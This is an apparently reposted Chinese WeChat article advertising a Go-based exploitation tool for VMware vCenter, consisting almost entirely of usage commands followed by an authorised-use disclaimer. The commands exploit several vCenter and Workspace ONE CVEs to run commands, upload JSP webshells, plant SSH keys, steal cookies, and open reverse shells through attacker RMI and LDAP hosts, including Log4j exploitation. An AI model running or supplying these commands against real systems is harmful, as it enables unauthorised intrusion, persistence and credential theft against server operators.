【神兵利器】Vcenter综合利用工具

go build -o main.exe

./main.exe -u https://192.168.1.1 -m 21985 -c whoami

./main.exe -u https://192.168.1.1 -m 22005 -f test.jsp

./main.exe -u https://192.168.1.1 -m 21972 -f test.jsp

./main.exe -u https://192.168.1.1 -m 21972 -f id_rsa.pub -t ssh //传公钥

./main.exe -u https://192.168.1.1 -m 21985 -t rshell -r rmi://xx.xx.xx.xx:1099/xx

./main.exe -u https://192.168.1.1 -m log4center -t scan // scan log4j

./main.exe -u https://192.168.1.1 -m log4center -t exec -r ldap://xx.xx.xx.xx:1389 -c whoami //也可以不指定ldap服务

./main.exe -u https://xx.xx.com -m 22954 whoami

./main.exe -u https://xx.xx.com -m 22972 //get cookie

./main.exe -u https://xx.xx.com -m 31656 //If CVE-2022-22972不能用就换CVE-2022-31656

本工具仅面向合法授权的企业安全建设行为，例如企业内部攻防演练、漏洞验证和复测，如您需要测试本工具的可用性，请自行搭建靶机环境。

在使用本工具进行检测时，您应确保该行为符合当地的法律法规，并且已经取得了足够的授权。请勿对非授权目标使用。

如您在使用本工具的过程中存在任何非法行为，您需自行承担相应后果，我们将不承担任何法律及连带责任

原文始发于微信公众号（七芒星实验室）：【神兵利器】Vcenter综合利用工具